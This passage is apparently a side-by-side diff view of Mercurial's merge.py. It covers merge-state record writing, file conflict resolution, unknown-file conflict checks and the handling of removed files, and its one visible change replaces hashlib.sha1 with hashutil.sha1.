451 # resolution state ('pu' or 'pr') is stored within the record.
452 records.append(
452 records.append(
453 (RECORD_PATH_CONFLICT, b'\0'.join([filename] + v))
453 (RECORD_PATH_CONFLICT, b'\0'.join([filename] + v))
454 )
454 )
455 elif v[1] == nullhex or v[6] == nullhex:
455 elif v[1] == nullhex or v[6] == nullhex:
456 # Change/Delete or Delete/Change conflicts. These are stored in
456 # Change/Delete or Delete/Change conflicts. These are stored in
457 # 'C' records. v[1] is the local file, and is nullhex when the
457 # 'C' records. v[1] is the local file, and is nullhex when the
458 # file is deleted locally ('dc'). v[6] is the remote file, and
458 # file is deleted locally ('dc'). v[6] is the remote file, and
459 # is nullhex when the file is deleted remotely ('cd').
459 # is nullhex when the file is deleted remotely ('cd').
460 records.append(
460 records.append(
461 (RECORD_CHANGEDELETE_CONFLICT, b'\0'.join([filename] + v))
461 (RECORD_CHANGEDELETE_CONFLICT, b'\0'.join([filename] + v))
462 )
462 )
463 else:
463 else:
464 # Normal files. These are stored in 'F' records.
464 # Normal files. These are stored in 'F' records.
465 records.append((RECORD_MERGED, b'\0'.join([filename] + v)))
465 records.append((RECORD_MERGED, b'\0'.join([filename] + v)))
466 for filename, extras in sorted(pycompat.iteritems(self._stateextras)):
466 for filename, extras in sorted(pycompat.iteritems(self._stateextras)):
467 rawextras = b'\0'.join(
467 rawextras = b'\0'.join(
468 b'%s\0%s' % (k, v) for k, v in pycompat.iteritems(extras)
468 b'%s\0%s' % (k, v) for k, v in pycompat.iteritems(extras)
469 )
469 )
470 records.append(
470 records.append(
471 (RECORD_FILE_VALUES, b'%s\0%s' % (filename, rawextras))
471 (RECORD_FILE_VALUES, b'%s\0%s' % (filename, rawextras))
472 )
472 )
473 if self._labels is not None:
473 if self._labels is not None:
474 labels = b'\0'.join(self._labels)
474 labels = b'\0'.join(self._labels)
475 records.append((RECORD_LABELS, labels))
475 records.append((RECORD_LABELS, labels))
476 return records
476 return records
477
477
478 def _writerecords(self, records):
478 def _writerecords(self, records):
479 """Write current state on disk (both v1 and v2)"""
479 """Write current state on disk (both v1 and v2)"""
480 self._writerecordsv1(records)
480 self._writerecordsv1(records)
481 self._writerecordsv2(records)
481 self._writerecordsv2(records)
482
482
483 def _writerecordsv1(self, records):
483 def _writerecordsv1(self, records):
484 """Write current state on disk in a version 1 file"""
484 """Write current state on disk in a version 1 file"""
485 f = self._repo.vfs(self.statepathv1, b'wb')
485 f = self._repo.vfs(self.statepathv1, b'wb')
486 irecords = iter(records)
486 irecords = iter(records)
487 lrecords = next(irecords)
487 lrecords = next(irecords)
488 assert lrecords[0] == RECORD_LOCAL
488 assert lrecords[0] == RECORD_LOCAL
489 f.write(hex(self._local) + b'\n')
489 f.write(hex(self._local) + b'\n')
490 for rtype, data in irecords:
490 for rtype, data in irecords:
491 if rtype == RECORD_MERGED:
491 if rtype == RECORD_MERGED:
492 f.write(b'%s\n' % _droponode(data))
492 f.write(b'%s\n' % _droponode(data))
493 f.close()
493 f.close()
494
494
495 def _writerecordsv2(self, records):
495 def _writerecordsv2(self, records):
496 """Write current state on disk in a version 2 file
496 """Write current state on disk in a version 2 file
497
497
498 See the docstring for _readrecordsv2 for why we use 't'."""
498 See the docstring for _readrecordsv2 for why we use 't'."""
499 # these are the records that all version 2 clients can read
499 # these are the records that all version 2 clients can read
500 allowlist = (RECORD_LOCAL, RECORD_OTHER, RECORD_MERGED)
500 allowlist = (RECORD_LOCAL, RECORD_OTHER, RECORD_MERGED)
501 f = self._repo.vfs(self.statepathv2, b'wb')
501 f = self._repo.vfs(self.statepathv2, b'wb')
502 for key, data in records:
502 for key, data in records:
503 assert len(key) == 1
503 assert len(key) == 1
504 if key not in allowlist:
504 if key not in allowlist:
505 key, data = RECORD_OVERRIDE, b'%s%s' % (key, data)
505 key, data = RECORD_OVERRIDE, b'%s%s' % (key, data)
506 format = b'>sI%is' % len(data)
506 format = b'>sI%is' % len(data)
507 f.write(_pack(format, key, len(data), data))
507 f.write(_pack(format, key, len(data), data))
508 f.close()
508 f.close()
509
509
510 @staticmethod
510 @staticmethod
511 def getlocalkey(path):
511 def getlocalkey(path):
512 """hash the path of a local file context for storage in the .hg/merge
512 """hash the path of a local file context for storage in the .hg/merge
513 directory."""
513 directory."""
514
514
515 return hex(hashlib.sha1(path).digest())
515 return hex(hashutil.sha1(path).digest())
516
516
517 def add(self, fcl, fco, fca, fd):
517 def add(self, fcl, fco, fca, fd):
518 """add a new (potentially?) conflicting file the merge state
518 """add a new (potentially?) conflicting file the merge state
519 fcl: file context for local,
519 fcl: file context for local,
520 fco: file context for remote,
520 fco: file context for remote,
521 fca: file context for ancestors,
521 fca: file context for ancestors,
522 fd: file path of the resulting merge.
522 fd: file path of the resulting merge.
523
523
524 note: also write the local version to the `.hg/merge` directory.
524 note: also write the local version to the `.hg/merge` directory.
525 """
525 """
526 if fcl.isabsent():
526 if fcl.isabsent():
527 localkey = nullhex
527 localkey = nullhex
528 else:
528 else:
529 localkey = mergestate.getlocalkey(fcl.path())
529 localkey = mergestate.getlocalkey(fcl.path())
530 self._repo.vfs.write(b'merge/' + localkey, fcl.data())
530 self._repo.vfs.write(b'merge/' + localkey, fcl.data())
531 self._state[fd] = [
531 self._state[fd] = [
532 MERGE_RECORD_UNRESOLVED,
532 MERGE_RECORD_UNRESOLVED,
533 localkey,
533 localkey,
534 fcl.path(),
534 fcl.path(),
535 fca.path(),
535 fca.path(),
536 hex(fca.filenode()),
536 hex(fca.filenode()),
537 fco.path(),
537 fco.path(),
538 hex(fco.filenode()),
538 hex(fco.filenode()),
539 fcl.flags(),
539 fcl.flags(),
540 ]
540 ]
541 self._stateextras[fd] = {b'ancestorlinknode': hex(fca.node())}
541 self._stateextras[fd] = {b'ancestorlinknode': hex(fca.node())}
542 self._dirty = True
542 self._dirty = True
543
543
544 def addpath(self, path, frename, forigin):
544 def addpath(self, path, frename, forigin):
545 """add a new conflicting path to the merge state
545 """add a new conflicting path to the merge state
546 path: the path that conflicts
546 path: the path that conflicts
547 frename: the filename the conflicting file was renamed to
547 frename: the filename the conflicting file was renamed to
548 forigin: origin of the file ('l' or 'r' for local/remote)
548 forigin: origin of the file ('l' or 'r' for local/remote)
549 """
549 """
550 self._state[path] = [MERGE_RECORD_UNRESOLVED_PATH, frename, forigin]
550 self._state[path] = [MERGE_RECORD_UNRESOLVED_PATH, frename, forigin]
551 self._dirty = True
551 self._dirty = True
552
552
553 def __contains__(self, dfile):
553 def __contains__(self, dfile):
554 return dfile in self._state
554 return dfile in self._state
555
555
556 def __getitem__(self, dfile):
556 def __getitem__(self, dfile):
557 return self._state[dfile][0]
557 return self._state[dfile][0]
558
558
559 def __iter__(self):
559 def __iter__(self):
560 return iter(sorted(self._state))
560 return iter(sorted(self._state))
561
561
562 def files(self):
562 def files(self):
563 return self._state.keys()
563 return self._state.keys()
564
564
565 def mark(self, dfile, state):
565 def mark(self, dfile, state):
566 self._state[dfile][0] = state
566 self._state[dfile][0] = state
567 self._dirty = True
567 self._dirty = True
568
568
569 def mdstate(self):
569 def mdstate(self):
570 return self._mdstate
570 return self._mdstate
571
571
572 def unresolved(self):
572 def unresolved(self):
573 """Obtain the paths of unresolved files."""
573 """Obtain the paths of unresolved files."""
574
574
575 for f, entry in pycompat.iteritems(self._state):
575 for f, entry in pycompat.iteritems(self._state):
576 if entry[0] in (
576 if entry[0] in (
577 MERGE_RECORD_UNRESOLVED,
577 MERGE_RECORD_UNRESOLVED,
578 MERGE_RECORD_UNRESOLVED_PATH,
578 MERGE_RECORD_UNRESOLVED_PATH,
579 ):
579 ):
580 yield f
580 yield f
581
581
582 def driverresolved(self):
582 def driverresolved(self):
583 """Obtain the paths of driver-resolved files."""
583 """Obtain the paths of driver-resolved files."""
584
584
585 for f, entry in self._state.items():
585 for f, entry in self._state.items():
586 if entry[0] == MERGE_RECORD_DRIVER_RESOLVED:
586 if entry[0] == MERGE_RECORD_DRIVER_RESOLVED:
587 yield f
587 yield f
588
588
589 def extras(self, filename):
589 def extras(self, filename):
590 return self._stateextras.setdefault(filename, {})
590 return self._stateextras.setdefault(filename, {})
591
591
592 def _resolve(self, preresolve, dfile, wctx):
592 def _resolve(self, preresolve, dfile, wctx):
593 """rerun merge process for file path `dfile`"""
593 """rerun merge process for file path `dfile`"""
594 if self[dfile] in (MERGE_RECORD_RESOLVED, MERGE_RECORD_DRIVER_RESOLVED):
594 if self[dfile] in (MERGE_RECORD_RESOLVED, MERGE_RECORD_DRIVER_RESOLVED):
595 return True, 0
595 return True, 0
596 stateentry = self._state[dfile]
596 stateentry = self._state[dfile]
597 state, localkey, lfile, afile, anode, ofile, onode, flags = stateentry
597 state, localkey, lfile, afile, anode, ofile, onode, flags = stateentry
598 octx = self._repo[self._other]
598 octx = self._repo[self._other]
599 extras = self.extras(dfile)
599 extras = self.extras(dfile)
600 anccommitnode = extras.get(b'ancestorlinknode')
600 anccommitnode = extras.get(b'ancestorlinknode')
601 if anccommitnode:
601 if anccommitnode:
602 actx = self._repo[anccommitnode]
602 actx = self._repo[anccommitnode]
603 else:
603 else:
604 actx = None
604 actx = None
605 fcd = self._filectxorabsent(localkey, wctx, dfile)
605 fcd = self._filectxorabsent(localkey, wctx, dfile)
606 fco = self._filectxorabsent(onode, octx, ofile)
606 fco = self._filectxorabsent(onode, octx, ofile)
607 # TODO: move this to filectxorabsent
607 # TODO: move this to filectxorabsent
608 fca = self._repo.filectx(afile, fileid=anode, changectx=actx)
608 fca = self._repo.filectx(afile, fileid=anode, changectx=actx)
609 # "premerge" x flags
609 # "premerge" x flags
610 flo = fco.flags()
610 flo = fco.flags()
611 fla = fca.flags()
611 fla = fca.flags()
612 if b'x' in flags + flo + fla and b'l' not in flags + flo + fla:
612 if b'x' in flags + flo + fla and b'l' not in flags + flo + fla:
613 if fca.node() == nullid and flags != flo:
613 if fca.node() == nullid and flags != flo:
614 if preresolve:
614 if preresolve:
615 self._repo.ui.warn(
615 self._repo.ui.warn(
616 _(
616 _(
617 b'warning: cannot merge flags for %s '
617 b'warning: cannot merge flags for %s '
618 b'without common ancestor - keeping local flags\n'
618 b'without common ancestor - keeping local flags\n'
619 )
619 )
620 % afile
620 % afile
621 )
621 )
622 elif flags == fla:
622 elif flags == fla:
623 flags = flo
623 flags = flo
624 if preresolve:
624 if preresolve:
625 # restore local
625 # restore local
626 if localkey != nullhex:
626 if localkey != nullhex:
627 f = self._repo.vfs(b'merge/' + localkey)
627 f = self._repo.vfs(b'merge/' + localkey)
628 wctx[dfile].write(f.read(), flags)
628 wctx[dfile].write(f.read(), flags)
629 f.close()
629 f.close()
630 else:
630 else:
631 wctx[dfile].remove(ignoremissing=True)
631 wctx[dfile].remove(ignoremissing=True)
632 complete, r, deleted = filemerge.premerge(
632 complete, r, deleted = filemerge.premerge(
633 self._repo,
633 self._repo,
634 wctx,
634 wctx,
635 self._local,
635 self._local,
636 lfile,
636 lfile,
637 fcd,
637 fcd,
638 fco,
638 fco,
639 fca,
639 fca,
640 labels=self._labels,
640 labels=self._labels,
641 )
641 )
642 else:
642 else:
643 complete, r, deleted = filemerge.filemerge(
643 complete, r, deleted = filemerge.filemerge(
644 self._repo,
644 self._repo,
645 wctx,
645 wctx,
646 self._local,
646 self._local,
647 lfile,
647 lfile,
648 fcd,
648 fcd,
649 fco,
649 fco,
650 fca,
650 fca,
651 labels=self._labels,
651 labels=self._labels,
652 )
652 )
653 if r is None:
653 if r is None:
654 # no real conflict
654 # no real conflict
655 del self._state[dfile]
655 del self._state[dfile]
656 self._stateextras.pop(dfile, None)
656 self._stateextras.pop(dfile, None)
657 self._dirty = True
657 self._dirty = True
658 elif not r:
658 elif not r:
659 self.mark(dfile, MERGE_RECORD_RESOLVED)
659 self.mark(dfile, MERGE_RECORD_RESOLVED)
660
660
661 if complete:
661 if complete:
662 action = None
662 action = None
663 if deleted:
663 if deleted:
664 if fcd.isabsent():
664 if fcd.isabsent():
665 # dc: local picked. Need to drop if present, which may
665 # dc: local picked. Need to drop if present, which may
666 # happen on re-resolves.
666 # happen on re-resolves.
667 action = ACTION_FORGET
667 action = ACTION_FORGET
668 else:
668 else:
669 # cd: remote picked (or otherwise deleted)
669 # cd: remote picked (or otherwise deleted)
670 action = ACTION_REMOVE
670 action = ACTION_REMOVE
671 else:
671 else:
672 if fcd.isabsent(): # dc: remote picked
672 if fcd.isabsent(): # dc: remote picked
673 action = ACTION_GET
673 action = ACTION_GET
674 elif fco.isabsent(): # cd: local picked
674 elif fco.isabsent(): # cd: local picked
675 if dfile in self.localctx:
675 if dfile in self.localctx:
676 action = ACTION_ADD_MODIFIED
676 action = ACTION_ADD_MODIFIED
677 else:
677 else:
678 action = ACTION_ADD
678 action = ACTION_ADD
679 # else: regular merges (no action necessary)
679 # else: regular merges (no action necessary)
680 self._results[dfile] = r, action
680 self._results[dfile] = r, action
681
681
682 return complete, r
682 return complete, r
683
683
684 def _filectxorabsent(self, hexnode, ctx, f):
684 def _filectxorabsent(self, hexnode, ctx, f):
685 if hexnode == nullhex:
685 if hexnode == nullhex:
686 return filemerge.absentfilectx(ctx, f)
686 return filemerge.absentfilectx(ctx, f)
687 else:
687 else:
688 return ctx[f]
688 return ctx[f]
689
689
690 def preresolve(self, dfile, wctx):
690 def preresolve(self, dfile, wctx):
691 """run premerge process for dfile
691 """run premerge process for dfile
692
692
693 Returns whether the merge is complete, and the exit code."""
693 Returns whether the merge is complete, and the exit code."""
694 return self._resolve(True, dfile, wctx)
694 return self._resolve(True, dfile, wctx)
695
695
696 def resolve(self, dfile, wctx):
696 def resolve(self, dfile, wctx):
697 """run merge process (assuming premerge was run) for dfile
697 """run merge process (assuming premerge was run) for dfile
698
698
699 Returns the exit code of the merge."""
699 Returns the exit code of the merge."""
700 return self._resolve(False, dfile, wctx)[1]
700 return self._resolve(False, dfile, wctx)[1]
701
701
702 def counts(self):
702 def counts(self):
703 """return counts for updated, merged and removed files in this
703 """return counts for updated, merged and removed files in this
704 session"""
704 session"""
705 updated, merged, removed = 0, 0, 0
705 updated, merged, removed = 0, 0, 0
706 for r, action in pycompat.itervalues(self._results):
706 for r, action in pycompat.itervalues(self._results):
707 if r is None:
707 if r is None:
708 updated += 1
708 updated += 1
709 elif r == 0:
709 elif r == 0:
710 if action == ACTION_REMOVE:
710 if action == ACTION_REMOVE:
711 removed += 1
711 removed += 1
712 else:
712 else:
713 merged += 1
713 merged += 1
714 return updated, merged, removed
714 return updated, merged, removed
715
715
716 def unresolvedcount(self):
716 def unresolvedcount(self):
717 """get unresolved count for this merge (persistent)"""
717 """get unresolved count for this merge (persistent)"""
718 return len(list(self.unresolved()))
718 return len(list(self.unresolved()))
719
719
720 def actions(self):
720 def actions(self):
721 """return lists of actions to perform on the dirstate"""
721 """return lists of actions to perform on the dirstate"""
722 actions = {
722 actions = {
723 ACTION_REMOVE: [],
723 ACTION_REMOVE: [],
724 ACTION_FORGET: [],
724 ACTION_FORGET: [],
725 ACTION_ADD: [],
725 ACTION_ADD: [],
726 ACTION_ADD_MODIFIED: [],
726 ACTION_ADD_MODIFIED: [],
727 ACTION_GET: [],
727 ACTION_GET: [],
728 }
728 }
729 for f, (r, action) in pycompat.iteritems(self._results):
729 for f, (r, action) in pycompat.iteritems(self._results):
730 if action is not None:
730 if action is not None:
731 actions[action].append((f, None, b"merge result"))
731 actions[action].append((f, None, b"merge result"))
732 return actions
732 return actions
733
733
734 def recordactions(self):
734 def recordactions(self):
735 """record remove/add/get actions in the dirstate"""
735 """record remove/add/get actions in the dirstate"""
736 branchmerge = self._repo.dirstate.p2() != nullid
736 branchmerge = self._repo.dirstate.p2() != nullid
737 recordupdates(self._repo, self.actions(), branchmerge, None)
737 recordupdates(self._repo, self.actions(), branchmerge, None)
738
738
739 def queueremove(self, f):
739 def queueremove(self, f):
740 """queues a file to be removed from the dirstate
740 """queues a file to be removed from the dirstate
741
741
742 Meant for use by custom merge drivers."""
742 Meant for use by custom merge drivers."""
743 self._results[f] = 0, ACTION_REMOVE
743 self._results[f] = 0, ACTION_REMOVE
744
744
745 def queueadd(self, f):
745 def queueadd(self, f):
746 """queues a file to be added to the dirstate
746 """queues a file to be added to the dirstate
747
747
748 Meant for use by custom merge drivers."""
748 Meant for use by custom merge drivers."""
749 self._results[f] = 0, ACTION_ADD
749 self._results[f] = 0, ACTION_ADD
750
750
751 def queueget(self, f):
751 def queueget(self, f):
752 """queues a file to be marked modified in the dirstate
752 """queues a file to be marked modified in the dirstate
753
753
754 Meant for use by custom merge drivers."""
754 Meant for use by custom merge drivers."""
755 self._results[f] = 0, ACTION_GET
755 self._results[f] = 0, ACTION_GET
756
756
757
757
758 def _getcheckunknownconfig(repo, section, name):
758 def _getcheckunknownconfig(repo, section, name):
759 config = repo.ui.config(section, name)
759 config = repo.ui.config(section, name)
760 valid = [b'abort', b'ignore', b'warn']
760 valid = [b'abort', b'ignore', b'warn']
761 if config not in valid:
761 if config not in valid:
762 validstr = b', '.join([b"'" + v + b"'" for v in valid])
762 validstr = b', '.join([b"'" + v + b"'" for v in valid])
763 raise error.ConfigError(
763 raise error.ConfigError(
764 _(b"%s.%s not valid ('%s' is none of %s)")
764 _(b"%s.%s not valid ('%s' is none of %s)")
765 % (section, name, config, validstr)
765 % (section, name, config, validstr)
766 )
766 )
767 return config
767 return config
768
768
769
769
770 def _checkunknownfile(repo, wctx, mctx, f, f2=None):
770 def _checkunknownfile(repo, wctx, mctx, f, f2=None):
771 if wctx.isinmemory():
771 if wctx.isinmemory():
772 # Nothing to do in IMM because nothing in the "working copy" can be an
772 # Nothing to do in IMM because nothing in the "working copy" can be an
773 # unknown file.
773 # unknown file.
774 #
774 #
775 # Note that we should bail out here, not in ``_checkunknownfiles()``,
775 # Note that we should bail out here, not in ``_checkunknownfiles()``,
776 # because that function does other useful work.
776 # because that function does other useful work.
777 return False
777 return False
778
778
779 if f2 is None:
779 if f2 is None:
780 f2 = f
780 f2 = f
781 return (
781 return (
782 repo.wvfs.audit.check(f)
782 repo.wvfs.audit.check(f)
783 and repo.wvfs.isfileorlink(f)
783 and repo.wvfs.isfileorlink(f)
784 and repo.dirstate.normalize(f) not in repo.dirstate
784 and repo.dirstate.normalize(f) not in repo.dirstate
785 and mctx[f2].cmp(wctx[f])
785 and mctx[f2].cmp(wctx[f])
786 )
786 )
787
787
788
788
789 class _unknowndirschecker(object):
789 class _unknowndirschecker(object):
790 """
790 """
791 Look for any unknown files or directories that may have a path conflict
791 Look for any unknown files or directories that may have a path conflict
792 with a file. If any path prefix of the file exists as a file or link,
792 with a file. If any path prefix of the file exists as a file or link,
793 then it conflicts. If the file itself is a directory that contains any
793 then it conflicts. If the file itself is a directory that contains any
794 file that is not tracked, then it conflicts.
794 file that is not tracked, then it conflicts.
795
795
796 Returns the shortest path at which a conflict occurs, or None if there is
796 Returns the shortest path at which a conflict occurs, or None if there is
797 no conflict.
797 no conflict.
798 """
798 """
799
799
800 def __init__(self):
800 def __init__(self):
801 # A set of paths known to be good. This prevents repeated checking of
801 # A set of paths known to be good. This prevents repeated checking of
802 # dirs. It will be updated with any new dirs that are checked and found
802 # dirs. It will be updated with any new dirs that are checked and found
803 # to be safe.
803 # to be safe.
804 self._unknowndircache = set()
804 self._unknowndircache = set()
805
805
806 # A set of paths that are known to be absent. This prevents repeated
806 # A set of paths that are known to be absent. This prevents repeated
807 # checking of subdirectories that are known not to exist. It will be
807 # checking of subdirectories that are known not to exist. It will be
808 # updated with any new dirs that are checked and found to be absent.
808 # updated with any new dirs that are checked and found to be absent.
809 self._missingdircache = set()
809 self._missingdircache = set()
810
810
811 def __call__(self, repo, wctx, f):
811 def __call__(self, repo, wctx, f):
812 if wctx.isinmemory():
812 if wctx.isinmemory():
813 # Nothing to do in IMM for the same reason as ``_checkunknownfile``.
813 # Nothing to do in IMM for the same reason as ``_checkunknownfile``.
814 return False
814 return False
815
815
816 # Check for path prefixes that exist as unknown files.
816 # Check for path prefixes that exist as unknown files.
817 for p in reversed(list(pathutil.finddirs(f))):
817 for p in reversed(list(pathutil.finddirs(f))):
818 if p in self._missingdircache:
818 if p in self._missingdircache:
819 return
819 return
820 if p in self._unknowndircache:
820 if p in self._unknowndircache:
821 continue
821 continue
822 if repo.wvfs.audit.check(p):
822 if repo.wvfs.audit.check(p):
823 if (
823 if (
824 repo.wvfs.isfileorlink(p)
824 repo.wvfs.isfileorlink(p)
825 and repo.dirstate.normalize(p) not in repo.dirstate
825 and repo.dirstate.normalize(p) not in repo.dirstate
826 ):
826 ):
827 return p
827 return p
828 if not repo.wvfs.lexists(p):
828 if not repo.wvfs.lexists(p):
829 self._missingdircache.add(p)
829 self._missingdircache.add(p)
830 return
830 return
831 self._unknowndircache.add(p)
831 self._unknowndircache.add(p)
832
832
833 # Check if the file conflicts with a directory containing unknown files.
833 # Check if the file conflicts with a directory containing unknown files.
834 if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
834 if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
835 # Does the directory contain any files that are not in the dirstate?
835 # Does the directory contain any files that are not in the dirstate?
836 for p, dirs, files in repo.wvfs.walk(f):
836 for p, dirs, files in repo.wvfs.walk(f):
837 for fn in files:
837 for fn in files:
838 relf = util.pconvert(repo.wvfs.reljoin(p, fn))
838 relf = util.pconvert(repo.wvfs.reljoin(p, fn))
839 relf = repo.dirstate.normalize(relf, isknown=True)
839 relf = repo.dirstate.normalize(relf, isknown=True)
840 if relf not in repo.dirstate:
840 if relf not in repo.dirstate:
841 return f
841 return f
842 return None
842 return None
843
843
844
844
845 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
845 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
846 """
846 """
847 Considers any actions that care about the presence of conflicting unknown
847 Considers any actions that care about the presence of conflicting unknown
848 files. For some actions, the result is to abort; for others, it is to
848 files. For some actions, the result is to abort; for others, it is to
849 choose a different action.
849 choose a different action.
850 """
850 """
851 fileconflicts = set()
851 fileconflicts = set()
852 pathconflicts = set()
852 pathconflicts = set()
853 warnconflicts = set()
853 warnconflicts = set()
854 abortconflicts = set()
854 abortconflicts = set()
855 unknownconfig = _getcheckunknownconfig(repo, b'merge', b'checkunknown')
855 unknownconfig = _getcheckunknownconfig(repo, b'merge', b'checkunknown')
856 ignoredconfig = _getcheckunknownconfig(repo, b'merge', b'checkignored')
856 ignoredconfig = _getcheckunknownconfig(repo, b'merge', b'checkignored')
857 pathconfig = repo.ui.configbool(
857 pathconfig = repo.ui.configbool(
858 b'experimental', b'merge.checkpathconflicts'
858 b'experimental', b'merge.checkpathconflicts'
859 )
859 )
860 if not force:
860 if not force:
861
861
862 def collectconflicts(conflicts, config):
862 def collectconflicts(conflicts, config):
863 if config == b'abort':
863 if config == b'abort':
864 abortconflicts.update(conflicts)
864 abortconflicts.update(conflicts)
865 elif config == b'warn':
865 elif config == b'warn':
866 warnconflicts.update(conflicts)
866 warnconflicts.update(conflicts)
867
867
868 checkunknowndirs = _unknowndirschecker()
868 checkunknowndirs = _unknowndirschecker()
869 for f, (m, args, msg) in pycompat.iteritems(actions):
869 for f, (m, args, msg) in pycompat.iteritems(actions):
870 if m in (ACTION_CREATED, ACTION_DELETED_CHANGED):
870 if m in (ACTION_CREATED, ACTION_DELETED_CHANGED):
871 if _checkunknownfile(repo, wctx, mctx, f):
871 if _checkunknownfile(repo, wctx, mctx, f):
872 fileconflicts.add(f)
872 fileconflicts.add(f)
873 elif pathconfig and f not in wctx:
873 elif pathconfig and f not in wctx:
874 path = checkunknowndirs(repo, wctx, f)
874 path = checkunknowndirs(repo, wctx, f)
875 if path is not None:
875 if path is not None:
876 pathconflicts.add(path)
876 pathconflicts.add(path)
877 elif m == ACTION_LOCAL_DIR_RENAME_GET:
877 elif m == ACTION_LOCAL_DIR_RENAME_GET:
878 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
878 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
879 fileconflicts.add(f)
879 fileconflicts.add(f)
880
880
881 allconflicts = fileconflicts | pathconflicts
881 allconflicts = fileconflicts | pathconflicts
882 ignoredconflicts = {c for c in allconflicts if repo.dirstate._ignore(c)}
882 ignoredconflicts = {c for c in allconflicts if repo.dirstate._ignore(c)}
883 unknownconflicts = allconflicts - ignoredconflicts
883 unknownconflicts = allconflicts - ignoredconflicts
884 collectconflicts(ignoredconflicts, ignoredconfig)
884 collectconflicts(ignoredconflicts, ignoredconfig)
885 collectconflicts(unknownconflicts, unknownconfig)
885 collectconflicts(unknownconflicts, unknownconfig)
886 else:
886 else:
887 for f, (m, args, msg) in pycompat.iteritems(actions):
887 for f, (m, args, msg) in pycompat.iteritems(actions):
888 if m == ACTION_CREATED_MERGE:
888 if m == ACTION_CREATED_MERGE:
889 fl2, anc = args
889 fl2, anc = args
890 different = _checkunknownfile(repo, wctx, mctx, f)
890 different = _checkunknownfile(repo, wctx, mctx, f)
891 if repo.dirstate._ignore(f):
891 if repo.dirstate._ignore(f):
892 config = ignoredconfig
892 config = ignoredconfig
893 else:
893 else:
894 config = unknownconfig
894 config = unknownconfig
895
895
896 # The behavior when force is True is described by this table:
896 # The behavior when force is True is described by this table:
897 # config different mergeforce | action backup
897 # config different mergeforce | action backup
898 # * n * | get n
898 # * n * | get n
899 # * y y | merge -
899 # * y y | merge -
900 # abort y n | merge - (1)
900 # abort y n | merge - (1)
901 # warn y n | warn + get y
901 # warn y n | warn + get y
902 # ignore y n | get y
902 # ignore y n | get y
903 #
903 #
904 # (1) this is probably the wrong behavior here -- we should
904 # (1) this is probably the wrong behavior here -- we should
905 # probably abort, but some actions like rebases currently
905 # probably abort, but some actions like rebases currently
906 # don't like an abort happening in the middle of
906 # don't like an abort happening in the middle of
907 # merge.update.
907 # merge.update.
908 if not different:
908 if not different:
909 actions[f] = (ACTION_GET, (fl2, False), b'remote created')
909 actions[f] = (ACTION_GET, (fl2, False), b'remote created')
910 elif mergeforce or config == b'abort':
910 elif mergeforce or config == b'abort':
911 actions[f] = (
911 actions[f] = (
912 ACTION_MERGE,
912 ACTION_MERGE,
913 (f, f, None, False, anc),
913 (f, f, None, False, anc),
914 b'remote differs from untracked local',
914 b'remote differs from untracked local',
915 )
915 )
916 elif config == b'abort':
916 elif config == b'abort':
917 abortconflicts.add(f)
917 abortconflicts.add(f)
918 else:
918 else:
919 if config == b'warn':
919 if config == b'warn':
920 warnconflicts.add(f)
920 warnconflicts.add(f)
921 actions[f] = (ACTION_GET, (fl2, True), b'remote created')
921 actions[f] = (ACTION_GET, (fl2, True), b'remote created')
922
922
923 for f in sorted(abortconflicts):
923 for f in sorted(abortconflicts):
924 warn = repo.ui.warn
924 warn = repo.ui.warn
925 if f in pathconflicts:
925 if f in pathconflicts:
926 if repo.wvfs.isfileorlink(f):
926 if repo.wvfs.isfileorlink(f):
927 warn(_(b"%s: untracked file conflicts with directory\n") % f)
927 warn(_(b"%s: untracked file conflicts with directory\n") % f)
928 else:
928 else:
929 warn(_(b"%s: untracked directory conflicts with file\n") % f)
929 warn(_(b"%s: untracked directory conflicts with file\n") % f)
930 else:
930 else:
931 warn(_(b"%s: untracked file differs\n") % f)
931 warn(_(b"%s: untracked file differs\n") % f)
932 if abortconflicts:
932 if abortconflicts:
933 raise error.Abort(
933 raise error.Abort(
934 _(
934 _(
935 b"untracked files in working directory "
935 b"untracked files in working directory "
936 b"differ from files in requested revision"
936 b"differ from files in requested revision"
937 )
937 )
938 )
938 )
939
939
940 for f in sorted(warnconflicts):
940 for f in sorted(warnconflicts):
941 if repo.wvfs.isfileorlink(f):
941 if repo.wvfs.isfileorlink(f):
942 repo.ui.warn(_(b"%s: replacing untracked file\n") % f)
942 repo.ui.warn(_(b"%s: replacing untracked file\n") % f)
943 else:
943 else:
944 repo.ui.warn(_(b"%s: replacing untracked files in directory\n") % f)
944 repo.ui.warn(_(b"%s: replacing untracked files in directory\n") % f)
945
945
946 for f, (m, args, msg) in pycompat.iteritems(actions):
946 for f, (m, args, msg) in pycompat.iteritems(actions):
947 if m == ACTION_CREATED:
947 if m == ACTION_CREATED:
948 backup = (
948 backup = (
949 f in fileconflicts
949 f in fileconflicts
950 or f in pathconflicts
950 or f in pathconflicts
951 or any(p in pathconflicts for p in pathutil.finddirs(f))
951 or any(p in pathconflicts for p in pathutil.finddirs(f))
952 )
952 )
953 (flags,) = args
953 (flags,) = args
954 actions[f] = (ACTION_GET, (flags, backup), msg)
954 actions[f] = (ACTION_GET, (flags, backup), msg)
955
955
956
956
957 def _forgetremoved(wctx, mctx, branchmerge):
957 def _forgetremoved(wctx, mctx, branchmerge):
958 """
958 """
959 Forget removed files
959 Forget removed files
960
960
961 If we're jumping between revisions (as opposed to merging), and if
961 If we're jumping between revisions (as opposed to merging), and if
962 neither the working directory nor the target rev has the file,
962 neither the working directory nor the target rev has the file,
963 then we need to remove it from the dirstate, to prevent the
963 then we need to remove it from the dirstate, to prevent the
964 dirstate from listing the file when it is no longer in the
964 dirstate from listing the file when it is no longer in the
965 manifest.
965 manifest.
966
966
967 If we're merging, and the other revision has removed a file
967 If we're merging, and the other revision has removed a file
968 that is not present in the working directory, we need to mark it
968 that is not present in the working directory, we need to mark it
969 as removed.
969 as removed.
970 """
970 """
971
971
972 actions = {}
972 actions = {}
973 m = ACTION_FORGET
973 m = ACTION_FORGET
974 if branchmerge:
974 if branchmerge:
975 m = ACTION_REMOVE
975 m = ACTION_REMOVE
976 for f in wctx.deleted():
976 for f in wctx.deleted():
977 if f not in mctx:
977 if f not in mctx:
978 actions[f] = m, None, b"forget deleted"
978 actions[f] = m, None, b"forget deleted"
979
979
980 if not branchmerge:
980 if not branchmerge:
981 for f in wctx.removed():
981 for f in wctx.removed():
982 if f not in mctx:
